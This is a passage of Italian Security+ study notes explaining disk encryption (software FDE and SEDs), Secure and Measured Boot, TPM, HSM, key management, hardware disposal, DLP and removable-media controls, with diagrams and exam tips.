— SED (Self-Encrypting Drive): la circuiteria di encryption e' integrata direttamente nel drive. Non e' il SO a fare il lavoro — e' il disco stesso con il proprio chip dedicato.\nIl flusso SED:\nAl setup dell'unita', l'utente inserisce le credenziali Ad ogni avvio del sistema, reinserisce le credenziali Il drive le verifica e decifra — tutto nella sua circuiteria, senza coinvolgere la CPU del sistema L'\u0026quot;automatico\u0026quot; del SED si riferisce al fatto che la cifratura/decifratura avviene nel firmware del disco senza software aggiuntivo — non che non servano credenziali. Le credenziali al boot sono comunque richieste.\nSoftware FDE Hardware FDE (SED) Chi cifra/decifra SO / CPU Circuiteria del drive Dove avviene In software Nel firmware del disco Credenziali al boot Si Si Impatto performance Minimo (CPU moderna) Nessuno (hardware dedicato) Esempi BitLocker, FileVault, VeraCrypt SED di Samsung, Seagate, WD Tip Exam tip: FDE protegge tutto il contenuto del disco. Puo' essere implementata via software (BitLocker, FileVault) o via hardware con un SED. In entrambi i casi le credenziali al boot sono necessarie — la differenza e' dove avviene il lavoro crittografico.\nFDE enterprise — due considerazioni critiche per il planning:\nTPM presence: in un rollout enterprise, FDE usa il TPM per conservare la chiave di cifratura e sbloccare il disco al boot automaticamente — senza che l'utente inserisca una password ogni volta. Senza TPM, FDE o non funziona, o richiede un PIN manuale ad ogni avvio (impraticabile su larga scala).\nKey escrow: copia della chiave di recovery conservata in modo sicuro fuori dal device (es. Active Directory, server centralizzato). Se il dipendente dimentica il PIN, il TPM si guasta, o il device viene consegnato a un nuovo proprietario, la chiave di escrow permette di recuperare i dati. Senza key escrow, un laptop cifrato con TPM guasto diventa un mattone — dati irrecuperabili. Exam tip: \u0026quot;select two\u0026quot; su FDE planning → TPM presence + key escrow.\nBoot Integrity # La boot integrity e' il processo che verifica l'integrita' del sistema operativo e dei componenti di avvio. Se qualcosa e' stato manomesso — un rootkit nel bootloader, un kernel modificato, un file di sistema alterato — il sistema lo rileva e non si avvia. Niente accesso, neanche all'attaccante.\nTre concetti distinti con ruoli diversi:\n┌─────────────────────────────────────────────────────┐ │ BOOT INTEGRITY (obiettivo) │ │ \u0026#34;il sistema deve avviarsi integro o non partire\u0026#34; │ └─────────────────────────────────────────────────────┘ | ┌──────────────┴──────────────┐ ▼ ▼ ┌──────────────────┐ ┌─────────────────────┐ │ SECURE BOOT │ │ MEASURED BOOT │ │ (meccanismo) │ │ (processo) │ │ │ │ │ │ \u0026#34;questo file │ │ \u0026#34;questo file │ │ e\u0026#39; firmato da │ │ ha lo stesso hash │ │ qualcuno di │ │ di ieri?\u0026#34; │ │ fidato?\u0026#34; │ │ │ │ │ │ → registra nel TPM │ │ SI/NO binario │ │ → confronta valori │ │ UEFI fa il gate │ │ → blocca se diverso │ └──────────────────┘ └─────────────────────┘ In ordine al boot:\n1. POWER ON | 2. UEFI si avvia | 3. SECURE BOOT → controlla firma del bootloader | firma ok? → avanti | firma mancante/errata? → BLOCCO | | [BOOTLOADER: piccolo programma sul disco, sa dove sta il kernel. | Si carica prima di tutto — rootkit qui = invisibile all\u0026#39;antivirus. | Esempi: GRUB (Linux), Windows Boot Manager] | 4. MEASURED BOOT → calcola hash del bootloader, lo salva nel TPM | 5. SECURE BOOT → controlla firma del kernel | 6. MEASURED BOOT → calcola hash del kernel, salva nel TPM | 7. fine boot → i valori nel TPM fotografano lo stato del sistema | se domani qualcosa cambia → anomalia rilevata ▼ Sistema avviato ✓ Secure Boot = il buttafuori — \u0026quot;hai l'invito (firma)? No → fuori\u0026quot; Measured Boot = il fotografo — \u0026quot;sei uguale a ieri? No → allarme\u0026quot; Cos'e' il bootloader\nIl bootloader e' il primo programma che UEFI carica dopo aver trovato il disco di avvio. Il suo unico compito e' caricare il kernel del SO in memoria e passargli il controllo. E' uno strato intermedio necessario perche' il firmware non sa leggere il filesystem del disco — non conosce ext4 o NTFS. Il bootloader si.\nUEFI | └─→ BOOTLOADER ← piccolo programma sul disco (settore di avvio) | sa dove trovare il kernel └─→ KERNEL OS ← il vero sistema operativo | └─→ tutto il resto (driver, servizi, desktop...) Esempi: GRUB (Linux — il menu che appare nel dual boot), Windows Boot Manager (Windows).\nE' il componente piu' interessante da attaccare: un rootkit nel bootloader si carica prima del kernel, prima dell'antivirus, prima di tutto. Per questo Secure Boot lo verifica per primo.\nBoot Security e UEFI\nIl BIOS (Basic Input/Output System) e' il firmware che da' a un computer le istruzioni base per avviarsi. E' sia hardware che software: un chip fisico sulla scheda madre, che contiene firmware inciso in memoria non volatile. Al boot esegue controlli iniziali (POST), trova il disco di avvio e passa il controllo al bootloader.\nI sistemi moderni usano UEFI (Unified Extensible Firmware Interface) al posto del BIOS. UEFI fa le stesse cose ma aggiunge funzionalita' importanti:\nSupporta dischi oltre i 2TB E' progettato per essere indipendente dalla CPU Include Secure Boot: verifica che ogni componente del processo di avvio sia firmato crittograficamente da un'autorita' fidata — blocca i rootkit prima che possano caricarsi La gerarchia e' questa:\nUEFI ← il meccanismo (hardware/firmware) └─ Secure Boot ← funzionalita\u0026#39; di verifica firma └─ Measured Boot ← processo che misura ogni stadio e blocca se non integro Flashing: sia BIOS che UEFI possono essere aggiornati tramite flashing. Il termine viene da \u0026quot;flash memory\u0026quot; — il tipo di chip usato per conservare il firmware. Il flashing sovrascrive il firmware esistente con una versione nuova. E' rischioso: se il processo si interrompe a meta' (blackout, crash), il chip contiene codice corrotto e il sistema non sa piu' come avviarsi — stato chiamato \u0026quot;bricked\u0026quot; (mattone). Per questo i produttori spesso includono meccanismi di recovery o dual-chip.\nTip Exam tip: measured boot e' il processo che verifica l'integrita' a ogni stadio. UEFI Secure Boot e' il meccanismo che lo rende possibile verificando le firme crittografiche. Se il sistema perde integrita', non si avvia — e' una difesa, non un bug.\nTPM — Trusted Platform Module # Il TPM e' un chip hardware sulla scheda madre del computer che conserva chiavi crittografiche usate per la cifratura. La maggior parte dei desktop e laptop moderni ne include uno. Alcuni server supportano TPM removibili e sostituibili.\nCaratteristiche chiave:\nPersistent memory: le chiavi generate vengono conservate nel chip in modo permanente e sono uniche per quella macchina Password protected: l'accesso alle informazioni nel TPM e' protetto da password Immune a brute force e dictionary attack: non e' possibile iterare tentativi di accesso per forzare il TPM — il chip blocca questo tipo di attacco per design Una volta abilitato, il TPM fornisce tre funzionalita' principali:\nENDORSEMENT = attestare ufficialmente che e' valido\nTPM / HSM │ ├─ genera ──────────► ENDORSEMENT KEY │ │ │ │ (OTP — bruciata in fabbrica, │ │ non esce mai dal chip) │ │ │ └──► autentica il chip stesso │ \u0026#34;sono un TPM autentico\u0026#34; | Genuine Check ✅ │ ├─ genera ──────────► STORAGE KEYS │ │ │ │ (create internamente, │ │ non escono mai dal chip) │ │ │ └──► cifrano il disco │ rilasciate SOLO se boot è integro │ └─ misura ──────────► PCR (hash di ogni componente boot) │ ├──► SECURE BOOT ATTESTATION │ │ │ └── confronta hash localmente │ uguale → boot OK │ diverso → BLOCCO │ └──► REMOTE ATTESTATION │ └── invia hash a server remoto server verifica OK → boot KO → blocco 1. Full Disk Encryption Il TPM mantiene il disco cifrato e protetto finche' il sistema non completa verifica e autenticazione. Se provi ad accedere al disco senza passare dal TPM — ad esempio spostando il disco su un altro PC — il disco resta cifrato perche' il TPM non e' disponibile.\n2. Secure Boot Attestation Quando viene configurato, il TPM cattura le firme (hash) dei file chiave usati per il boot e le conserva al proprio interno. Ad ogni avvio, il processo di secure boot confronta i file attuali con le firme salvate. Se rileva modifiche — ad esempio da malware — blocca il boot per proteggere i dati sul disco.\n3. Remote Attestation Funziona come il secure boot, ma invece di confrontare localmente invia il report a un sistema remoto. Il TPM cattura le firme dei file di boot e le manda a un server esterno. Ad ogni avvio, il sistema invia un report aggiornato al server remoto, che verifica e attesta che il sistema e' integro. Usato in ambienti aziendali dove un server centrale monitora l'integrita' di tutti gli endpoint.\nSECURE BOOT ATTESTATION REMOTE ATTESTATION (verifica locale) (verifica remota) TPM → confronta hash TPM → invia hash con copia interna a server remoto | | OK → boot server verifica NO → blocco OK → boot / NO → blocco Come misura: PCR e hash\nIl TPM usa SHA-256 (o SHA-1 sui sistemi piu' vecchi) per calcolare il digest di ogni file critico del boot. I digest vengono conservati nei PCR (Platform Configuration Registers) — registri interni dedicati, uno per ogni componente misurato. I PCR non si possono sovrascrivere dall'esterno: si estendono solo in avanti (ogni nuova misurazione si concatena alla precedente) e si azzerano solo con un riavvio fisico.\nDue esempi concreti di file misurati:\nWindows: C:\\Windows\\System32\\bootmgr ← bootloader C:\\Windows\\System32\\winload.efi ← carica il kernel Linux: /boot/grub/grubx64.efi ← GRUB bootloader /boot/vmlinuz-6.x.x-generic ← kernel Linux Se un byte di uno di questi file cambia — rootkit, manomissione, corruzione — il digest e' diverso da quello nel PCR. Boot bloccato.\nEndorsement Key — hardware root of trust # Il TPM e' prodotto con una chiave crittografica unica bruciata dentro il chip: l'endorsement key. E' una coppia asimmetrica (chiave pubblica + privata). La chiave privata non lascia mai il chip. Questa chiave fornisce l'hardware root of trust — un punto di partenza sicuro e verificabile, legato fisicamente all'hardware.\nL'endorsement key non cifra il disco — serve per autenticare il TPM stesso: dimostra che il chip e' autentico e prodotto da un vendor fidato. Le chiavi per cifrare il disco sono separate: il TPM le genera internamente (storage keys) e le conserva al proprio interno. Le rilascia solo se la verifica del boot va a buon fine.\nEndorsement Key └─→ \u0026#34;sono un TPM autentico, prodotto da X\u0026#34; usata per autenticare il chip stesso Storage Keys (generate dal TPM) └─→ \u0026#34;questa e\u0026#39; la chiave per il disco C:\u0026#34; usata per cifrare/decifrare il disco rilasciata solo se il boot e\u0026#39; integro Stesso chip, scopi diversi: endorsement key = documento d'identita' del TPM. Storage key = chiave del lucchetto del disco.\nPerche' conta: il problema della fiducia software\nBruciata = scritta in memoria non riscrivibile durante la produzione del chip in fabbrica.\nIl processo fisico: durante la produzione del chip TPM, il produttore genera una coppia di chiavi asimmetrica unica e la scrive in un tipo di memoria chiamata OTP — One-Time Programmable. Come suggerisce il nome, quella memoria si può scrivere una sola volta. Dopo, è permanente — non si può cancellare, sovrascrivere, o rileggere dall'esterno.\nIl problema fondamentale della sicurezza software e' questo: qualsiasi cosa vive su disco puo' essere modificata. Un certificato e' un file. Una chiave e' un file. Un file di configurazione e' un file. Se un attaccante ha accesso sufficientemente basso al sistema, puo' toccarli tutti.\nLa domanda diventa: da dove parte la fiducia? Su cosa puoi appoggiarti che per definizione non puo' essere manomesso via software?\nLa risposta e' l'hardware fisico. L'endorsement key e' scritta in memoria OTP — One-Time Programmable — durante la produzione del chip. Quella memoria si scrive una sola volta, poi e' permanente. Non si puo' cancellare, sovrascrivere, o rileggere dall'esterno. Nessun software puo' leggerla. Nessun aggiornamento firmware puo' cambiarla. Nemmeno il produttore puo' recuperarla.\nFiducia software: Fiducia hardware: \u0026#34;questo certificato \u0026#34;questa chiave e\u0026#39; nel dice che sono legittimo\u0026#34; silicio del chip — | non puo\u0026#39; mentire\u0026#34; v puo\u0026#39; essere falsificato | puo\u0026#39; essere sostituito v puo\u0026#39; essere corrotto immutabile per design Questo e' il significato preciso di hardware root of trust: la catena di fiducia parte da qualcosa di fisicamente immutabile, non da un file o un certificato che vive su disco. La crittografia e' matematicamente solida, ma opera su dati — se quei dati (le chiavi) possono essere rubati o sostituiti, la matematica non ti salva. L'hardware root of trust sposta il problema da \u0026quot;proteggere un file\u0026quot; a \u0026quot;proteggere un oggetto fisico\u0026quot;, che per un attaccante remoto e' un problema irrisolvibile.\nIl concetto si ritrova ovunque in security:\nTPM endorsement key — la catena parte dal chip fisico sulla scheda madre UEFI Secure Boot — ogni componente del boot verifica il successivo, ma la radice e' il firmware nel chip Certificati root CA — alla fine della catena c'e' un HSM fisico in una stanza blindata, con la chiave root scritta nell'hardware ┌──────────────────────────────────────────────────────────────────┐ │ TPM CHIP (scheda madre) │ │ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ ENDORSEMENT KEY │ │ │ │ (bruciata in fabbrica — non esce mai) │ │ │ │ │ │ │ │ coppia asimmetrica pubblica + privata │ │ │ │ scopo: autenticare il TPM stesso come chip reale │ │ │ │ NON cifra il disco — è il documento d\u0026#39;identità del chip│ │ │ └──────────────────────────┬───────────────────────────────┘ │ │ │ \u0026#34;sono un TPM autentico\u0026#34; │ │ ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ STORAGE KEYS │ │ │ │ (generate internamente dal TPM) │ │ │ │ │ │ │ │ queste cifrano il disco │ │ │ │ vengono rilasciate SOLO se il boot è integro │ │ │ └──────────────────────────┬───────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ PCR — Platform Config Registers │ │ │ │ │ │ │ │ PCR[0] → hash UEFI firmware │ │ │ │ PCR[4] → hash bootloader (grub / winload.efi) │ │ │ │ PCR[8] → hash kernel │ │ │ │ │ │ │ │ solo append · reset solo al riavvio fisico │ │ │ │ nessuno può sovrascriverli dall\u0026#39;esterno │ │ │ └──────────────────────────┬───────────────────────────────┘ │ │ │ │ └──────────────────────────────│───────────────────────────────────┘ │ ▼ ┌────────────────────────────────────────────┐ │ 3 CONTROLLI ATTIVI │ ├────────────────────────────────────────────┤ │ │ │ 1. FULL DISK ENCRYPTION │ │ TPM verifica boot → rilascia storage key│ │ disco su altro PC → TPM assente → LOCK │ │ │ │ 2. SECURE BOOT ATTESTATION (locale) │ │ confronta hash PCR attuali vs salvati │ │ hash diverso → manomissione → BLOCCO │ │ │ │ 3. REMOTE ATTESTATION │ │ TPM invia PCR a server remoto │ │ server verifica → OK boot / KO blocco │ │ │ └────────────────────────────────────────────┘ BitLocker + TPM in pratica BitLocker usa il TPM per rilevare manomissioni di file o processi critici del SO (platform verification). L'utente fornisce poi un secondo fattore: smart card, password, o PIN. Il disco resta cifrato finche' entrambi i processi non completano — verifica piattaforma + autenticazione utente.\nScenari di protezione:\nFurto del laptop — il ladro non ha le credenziali, non accede al disco Modifica del SO per bypassare i controlli — il TPM rileva la manomissione, mantiene il disco cifrato Disco spostato su un altro PC — il TPM non e' disponibile, il disco resta cifrato Important Endorsement key = chiave asimmetrica unica bruciata nel chip TPM al momento della produzione. Fornisce l'hardware root of trust. E' il termine esatto da ricordare per l'esame.\nTip Exam tip: TPM = chip hardware con tre funzioni chiave: full disk encryption, secure boot attestation, remote attestation. L'endorsement key e' il suo hardware root of trust.\nImportant Exam trap — TPM vs BIOS per la protezione delle chiavi: Se la domanda chiede come proteggere le chiavi di cifratura del disco anche se l'OS e' compromesso, la risposta e' sempre TPM — non BIOS, non file nascosto, non USB. Il BIOS puo' essere modificato da software con privilegi sufficienti — non e' tamper-resistant. Il TPM e' un chip hardware dedicato con memoria OTP: le chiavi non escono mai dal chip e vengono rilasciate solo se il boot supera la verifica di integrita'. BIOS storage = insicuro per design. TPM = l'unica opzione che protegge anche da un OS compromesso.\nHSM — Hardware Security Module # Un HSM e' un dispositivo hardware dedicato alla generazione, conservazione e gestione sicura di chiavi crittografiche. Supporta le stesse funzionalita' del TPM (hardware root of trust, secure boot, remote attestation), ma con una differenza fondamentale: e' rimovibile e condivisibile.\nIn ambienti grandi gli HSM sono in cluster con ridondanza: piu' unita' attive insieme, con alimentatori ridondanti e connettivita' di rete ridondante, per garantire disponibilita' continua. Se un HSM si guasta, il cluster continua a funzionare.\nCryptographic accelerator: hardware aggiuntivo (scheda plug-in o modulo separato) connesso all'HSM, progettato specificamente per eseguire operazioni crittografiche ad altissima velocita'. Necessario quando l'HSM deve cifrare e decifrare in real-time in ambienti di calcolo ad alta scala — migliaia di richieste TLS al secondo, ad esempio.\nQuattro form factor:\nForm factor Descrizione Caso d'uso tipico Network appliance Dispositivo rack connesso via TCP/IP Banche, CA enterprise, data center Expansion card Scheda PCIe installata nel server Server ad alte prestazioni USB HSM Chiavetta USB con chip crittografico dedicato Sviluppatori, firma codice, PKI small team MicroSD HSM Chip HSM su microSD (15x11x1 mm) POS, dispositivi mobili, IoT Esempi USB reali: YubiHSM 2 (Yubico), Thales SafeNet eToken, Nitrokey HSM.\nDifferenza operativa rispetto al TPM\nIl TPM e' saldato sulla scheda madre — e' legato a quella macchina. L'HSM si aggiunge, si sposta, si condivide tra piu' sistemi.\nTPM HSM ──────────────────── ──────────────────────────────── saldato su scheda madre rimovibile o esterno 1 macchina = 1 TPM N server → 1 HSM di rete non condivisibile condivisibile key legate all\u0026#39;host key portabili con il dispositivo Esempio concreto — banca con 50 server web\nSenza HSM ogni server gestisce le sue chiavi TLS localmente: se uno viene compromesso, quella chiave e' esposta. Con un HSM di rete:\ntutti i server fanno le operazioni crittografiche chiamando l'HSM via rete la chiave privata della CA non tocca mai i server — vive solo nell'HSM se un server viene compromesso, l'attaccante non trova nessuna chiave se serve spostare l'infrastruttura, scollego l'HSM e lo riattacco altrove MicroSD HSM: stesso principio in formato microSD. Un POS o tablet critico ci inserisce una microSD HSM — il chip crittografico viaggia col dispositivo, indipendente dall'hardware del sistema ospite.\nHSM — a cosa lo attacchi fisicamente?\nQui c'è la confusione: il TPM fa il genuine check e decifra il disco per quella macchina. L'HSM non sostituisce il TPM sulla singola macchina — serve per applicazioni che devono gestire chiavi per conto di molte macchine o molti utenti.\nEsempio concreto: un server web HTTPS ha una chiave privata TLS. Senza HSM quella chiave sta su disco — se il server viene compromesso, l'attaccante la ruba. Con HSM:\nServer web HSM (in rack, rete interna) │ │ │── \u0026#34;cifra questo dato\u0026#34; ──────►│ │ │ operazione dentro il chip │◄─────── \u0026#34;ecco il risultato\u0026#34; ─│ │ │ │ la chiave privata │ │ non ha mai lasciato ───────┘ │ l\u0026#39;HSM Il server non vede mai la chiave — manda dati, riceve risultati.\nChiamata via rete — non è pericoloso? L'intuizione dell'air-gap è corretta, ed è esattamente come funziona: l'HSM è su una rete interna isolata, non esposta a internet.\nInternet │ [Firewall] │ Rete DMZ ── server web (riceve richieste HTTPS) │ [Firewall interno] │ Rete interna isolata ── HSM ← raggiungibile SOLO dai server autorizzati La comunicazione server→HSM avviene su un canale TLS mutuamente autenticato, dentro la rete interna. L'HSM stesso ha protezione fisica: se qualcuno tenta di aprirlo fisicamente, cancella le chiavi autonomamente (tamper-evident/tamper-resistant). Alcuni ambienti ad altissima sicurezza (es. root CA di grandi CA) usano HSM fisicamente air-gapped con operazioni autorizzate via smart card in cerimonie fisiche documentate.\nHSM vs Hardware Wallet BTC\nHSM generico Hardware wallet ──────────────────────────── ──────────────────────────── genera chiavi asimmetriche → genera chiave privata BTC chiave non esce mai dal chip → private key non esce mai firma operazioni internamente → firma la transazione dentro rimovibile e portabile → rimovibile e portabile uso generale (TLS, CA, ecc.) → solo crypto (ECDSA/secp256k1) La differenza principale è che un HSM è general-purpose — gestisce qualsiasi algoritmo, qualsiasi tipo di chiave, per qualsiasi applicazione. Un hardware wallet è verticale su un dominio specifico.\nL'aggiunta che i wallet hanno rispetto a un HSM classico è il display + bottoni fisici: prima di firmare una transazione devi confermarla fisicamente sul dispositivo. Questo blocca un attacco in cui il PC host è compromesso e tenta di far firmare al wallet una transazione diversa da quella che l'utente crede di stare approvando. Un HSM in rack non ha questo problema perché non lo usa un utente finale — lo usa un'applicazione server in un ambiente controllato.\nSposta il segreto in un posto dove il software non può arrivare il principio di fondo è sempre lo stesso — sposta il segreto in un posto dove il software non può arrivare — e poi vedi quella stessa idea replicata a scale diverse: il chip sulla scheda madre, il rack in banca, il wallet in tasca\nImportant HSM = dispositivo rimovibile o esterno per generare, conservare e gestire chiavi in crittografia asimmetrica. Molte applicazioni server-based usano un HSM per proteggere le chiavi. Un microSD HSM e' un HSM installato su microSD, compatibile con qualsiasi slot microSD o SD.\nTip Exam tip: la differenza TPM vs HSM e' una sola parola — rimovibile. TPM e' embedded sulla scheda madre. HSM e' esterno o removibile. Entrambi forniscono hardware root of trust, secure boot e remote attestation.\nKey Management System (KMS) # TPM gestisce le chiavi di una macchina. HSM gestisce le chiavi di un data center. Ma chi gestisce l'insieme di tutti i tipi di chiavi — TLS, SSH, BitLocker, certificati utente — distribuite su centinaia di sistemi? Un Key Management System.\nUn KMS e' una console centralizzata che gestisce tutti i tipi di chiavi crittografiche dell'organizzazione da un unico punto. Puo' girare on-premises o in cloud.\nCosa gestisce:\nTipo chiave Esempio d'uso SSL/TLS Certificati dei web server HTTPS SSH Accesso remoto ai server Active Directory Autenticazione utenti Windows BitLocker Full-disk encryption degli endpoint Funzioni principali:\nAssocia ogni chiave a utenti o sistemi specifici Automatic key rotation — ruota le chiavi automaticamente nel tempo Logging e reporting di tutte le operazioni (chi ha usato quale chiave, quando) Tiene le chiavi separate dai dati che proteggono — principio fondamentale Questo ultimo punto e' critico: se le chiavi vivono sullo stesso sistema dei dati cifrati, un attaccante che compromette il sistema ottiene entrambi. Il KMS separa fisicamente i segreti dai dati.\nLa dashboard mostra: numero di certificati SHA-1 (da migrare), chiavi deboli a 1024 bit, rotazioni fallite, scadenze imminenti, SSH key summary e audit log delle operazioni con timestamp.\nTip Exam tip: KMS = gestione centralizzata di tutte le chiavi. Il principio chiave (letteralmente): keys must be separate from the data they protect.\nDecommissioning and Disposal # Il ritiro di hardware che non serve piu' e' un aspetto critico della sicurezza IT spesso sottovalutato. Un dispositivo dismesso male e' un data breach in attesa di succedere.\nIl rischio: hardware che contiene dati sensibili, credenziali, log, configurazioni. Se smaltito senza cancellazione sicura, chiunque trovi il disco puo' recuperare quei dati.\nIl processo corretto di decommissioning:\nCancellazione di tutti i dati (inclusi file temporanei e backup) Revoca di credenziali e account associati al dispositivo Rimozione delle licenze software Distruzione fisica o smaltimento certificato dell'hardware Legacy hardware vs EOL hardware — distinzione importante per l'esame:\nLegacy hardware EOL hardware Definizione Vecchio, superato da tecnologia piu' recente Fine vita dichiarata dal produttore Patch di sicurezza Puo' ancora riceverne Non ne riceve piu' Rischio Tecnologia obsoleta Vulnerabilita' note senza fix garantito Esempio Server con Windows Server 2012 ancora supportato Windows Server 2003 (EOL 2015) Ogni EOL e' legacy, ma non ogni legacy e' EOL. L'EOL e' il caso piu' pericoloso: le CVE vengono scoperte ma il vendor non rilascia patch.\nTre azioni per gestire legacy e EOL:\nInventario e piano di dismissione: sapere cosa hai, decidere quando va dismesso Compensating controls: firewall, antivirus, IDS dedicati al legacy/EOL isolato — riduzione del rischio mentre aspetti la sostituzione Upgrade: sostituire quando possibile per eliminare il problema alla radice, non rattopparlo Important Decommissioning non e' \u0026quot;spegnere e dimenticare\u0026quot;. Hardware dismesso senza cancellazione sicura e' un vettore di data leakage. Il processo formale deve includere data wiping, revoca credenziali e smaltimento fisico certificato.\nTip Exam tip: EOL = niente piu' patch dal vendor. Legacy = vecchio ma potenzialmente ancora supportato. Sul Security+ le domande su EOL enfatizzano il rischio di vulnerabilita' non patchabili e la necessita' di compensating controls o sostituzione.\nProtecting Data # mindmap root((Protecting Data)) Tre stati At Rest disco FDE BitLocker FileVault Column encryption DB In Transit rete TLS HTTPS VPN Hybrid encryption In Use RAM CPU Secure Enclave TEE Intel SGX DLP Network appliance Keyword e regex Dezippa prima di scan Software endpoint Fisico blocco USB Primo passo classificare Database Security Column encryption Tokenization vault Password come hash salted Removable Media USB blocking Write-block MDM policy Encryption vs ACL ACL bypassabile su altro PC Encryption senza chiave inutile I dati sono la risorsa piu' preziosa di un'organizzazione dopo le persone. Gli attaccanti li vogliono per tre ragioni: monetizzazione diretta (carte di credito, identita'), spionaggio industriale (dati proprietari), o disruption (ransomware che cifra tutto). La protezione agisce su due fronti: confidenzialita' (chi puo' vederli) e disponibilita' (non perderli, non farli cifrare da ransomware).\nLa policy di sicurezza definisce le classificazioni dei dati (Confidential, PII, Proprietary) — il DLP le usa per sapere cosa bloccare.\nExam tip — primo passo del DLP: prima di deployare qualsiasi regola DLP, il primo passo e' sempre classificare i dati. Il DLP non sa cosa e' sensibile finche' non glielo dici. Solo dopo aver applicato le classificazioni puoi scrivere regole (\u0026quot;blocca email con allegati classificati Confidential\u0026quot;) o bloccare upload verso cloud storage. DLP senza classificazione = cieco.\nData Loss Prevention (DLP) # Data exfiltration = trasferimento non autorizzato di dati fuori dall'organizzazione. Puo' essere un attaccante esterno che usa malware, o un insider malevolo. Il DLP e' l'insieme di tecniche e tecnologie per prevenirlo.\nDLP non e' un singolo tool ma un ombrello che copre livelli diversi:\nLivelli del DLP │ ├─ Fisico: blocco USB flash drive, controllo removable media │ ├─ Network-based DLP: appliance che analizza tutto il traffico in uscita │ tutto il traffico → [DLP appliance] → internet │ cerca keyword, pattern, dati classificati │ └─ Software-based DLP: installato sul singolo endpoint analizza le operazioni locali, blocca i tentativi di esfiltrazione Come funziona il network-based DLP\nTutto il traffico in uscita passa attraverso un appliance. L'admin configura cosa cercare:\nKeyword specifiche (es. codename progetto \u0026quot;DOH\u0026quot; → ogni email con quella parola viene bloccata) Pattern regex (es. SSN americano: ###-##-#### → identifica numeri previdenza sociale) Etichette di classificazione (es. \u0026quot;CONFIDENTIAL\u0026quot;, \u0026quot;PII\u0026quot;, \u0026quot;PROPRIETARY\u0026quot;) Cosa scansiona:\nEmail e allegati (documenti, fogli Excel, presentazioni, database) Traffico FTP e HTTP File compressi: li dezippa e analizza il contenuto — non basta zippare per eluderlo Dati cifrati in uscita: non puo' leggerli, ma rileva che stanno uscendo dati cifrati e allerta Quando trova un match: blocca il trasferimento, notifica il security administrator, notifica l'utente (opzionale).\nEsempio concreto (Gibson): un'organizzazione scansiona tutte le email in uscita cercando il pattern SSN (###-##-####). Un dipendente manda per sbaglio un foglio Excel con dati clienti. Il DLP rileva il pattern, blocca l'email, allerta il security admin.\nPII — Personally Identifiable Information: qualsiasi dato che permette di identificare un individuo (nome, SSN, data di nascita, email, indirizzo). E' una delle categorie piu' cercate dal DLP perche' e' regolamentata per legge (GDPR in Europa, HIPAA per dati sanitari USA).\nLimite contro esfiltrazione cifrata: se l'attaccante cifra i dati prima di mandarli fuori, il DLP non legge il contenuto. Puo' pero' rilevare volumi insoliti di traffico cifrato in uscita e generare un alert.\nTipo DLP Dove gira Cosa blocca Network-based Appliance tra LAN e internet Traffico in uscita (email, FTP, HTTP) Software-based Singolo endpoint Operazioni locali (copia file, upload) Fisico Policy + MDM USB, removable media Important DLP = prevenire che i dati escano, non solo proteggere chi puo' vederli. Copre livelli fisici (USB), di rete (appliance DLP) e di endpoint (software DLP). L'esame distingue i tre livelli.\nTip Exam tip: \u0026quot;data exfiltration\u0026quot; = dati che escono senza autorizzazione. DLP e' la famiglia di controlli che lo previene. Il DLP dezippa i file compressi prima di scansionarli — comprimere non basta per eluderlo.\nRemovable Media # Removable media = qualsiasi supporto di archiviazione che si puo' collegare a un computer e usare per copiare dati. Esempi: USB flash drive, hard disk esterni, SD card, CD, DVD. Anche gli smartphone moderni rientrano in questa categoria per la loro capacita' di archiviazione.\nDue vettori di rischio:\nEsfiltrazione: un dipendente (o attaccante con accesso fisico) copia dati sensibili su una chiavetta e la porta fuori Infezione: malware viene introdotto in rete tramite un dispositivo infetto collegato a un sistema Controlli tecnici:\nControllo Cosa fa Blocco USB completo Il sistema non riconosce nessun USB storage — ne' lettura ne' scrittura USB data blocker (write-block) Permette la ricarica ma blocca il trasferimento dati — solo lettura o solo carica Policy MDM Blocco removable media gestito centralmente su tutti gli endpoint Il DLP (sezione precedente) completa questo strato: anche se qualcuno riesce a collegare un dispositivo, il DLP rileva e blocca il trasferimento se i dati sono classificati.\nProtecting Confidentiality with Encryption # Tre stati dei dati — tre superfici di attacco diverse: Stato Definizione Protezione principale Data at rest Dati fermi su un supporto (disco, USB, database) Disk encryption, FDE, column encryption Data in transit Dati che viaggiano sulla rete TLS, VPN, HTTPS Data in use Dati attivamente elaborati in RAM/CPU Secure enclaves, trusted execution Il Security+ chiede principalmente at rest e in transit.\nPerche' data in transit usa Hybrid Encryption (non solo asymmetric)\nTLS — il protocollo che protegge HTTPS, VPN, email sicura — non usa mai solo crittografia asimmetrica o solo simmetrica. Usa entrambe in sequenza: e' questa combinazione che si chiama hybrid encryption.\nFase Tipo Algoritmo tipico Perche' Handshake Asimmetrica RSA / ECDH Scambia in sicurezza la chiave simmetrica Dati Simmetrica AES-256 Cifra il traffico reale ad alta velocita' Asimmetrica da sola: troppo lenta per cifrare stream di dati — opera su blocchi piccoli, ha overhead computazionale elevato. Simmetrica da sola: risolve la velocita' ma ha il problema della distribuzione della chiave — come trasmetti la chiave condivisa in modo sicuro su un canale non sicuro? Hybrid: l'asimmetrica risolve il problema della distribuzione (scambia la chiave simmetrica in sicurezza), poi la simmetrica cifra i dati velocemente. Important Exam trap: \u0026quot;best encryption method for data in transit\u0026quot; = Hybrid encryption. Non asimmetrica da sola (troppo lenta per bulk data). Non simmetrica da sola (problema di distribuzione della chiave). La risposta corretta e' sempre la combinazione.\nPerche' l'encryption batte le ACL\nLe ACL (Access Control Lists) di NTFS sembrano proteggere i file — ma sono controlli a livello OS. Se togli il disco fisico e lo monti come drive secondario su un'altra macchina in cui sei administrator, puoi prendere ownership dei file e leggere tutto. Le ACL non esistono piu'.\nLa cifratura non ha questo problema: la chiave di decifratura non sta nel disco. Senza la chiave il contenuto e' illeggibile ovunque tu porti il disco — altro PC, altro OS, altro admin. Non importa.\nACL (NTFS): disco rubato → monta su altro PC → login admin → take ownership → leggi tutto ✗ Encryption: disco rubato → monta su altro PC → leggi solo dati cifrati → niente chiave → niente dati ✓ Livelli di applicazione dell'encryption\nNon si cifra per forza tutto — si sceglie il livello giusto in base ai requisiti:\nIntero disco (FDE) → BitLocker, FileVault, SED — protegge tutto, incluso OS Partizione o volume → subset del disco File o directory specifica → protezione granulare Campi specifici del database → vedi sezione Database Security Tip Exam tip: la primary method per proteggere la confidenzialita' dei dati e' encryption + strong access controls. Solo ACL non basta — un disco rubato bypassa le ACL ma non bypassa la cifratura.\nDatabase 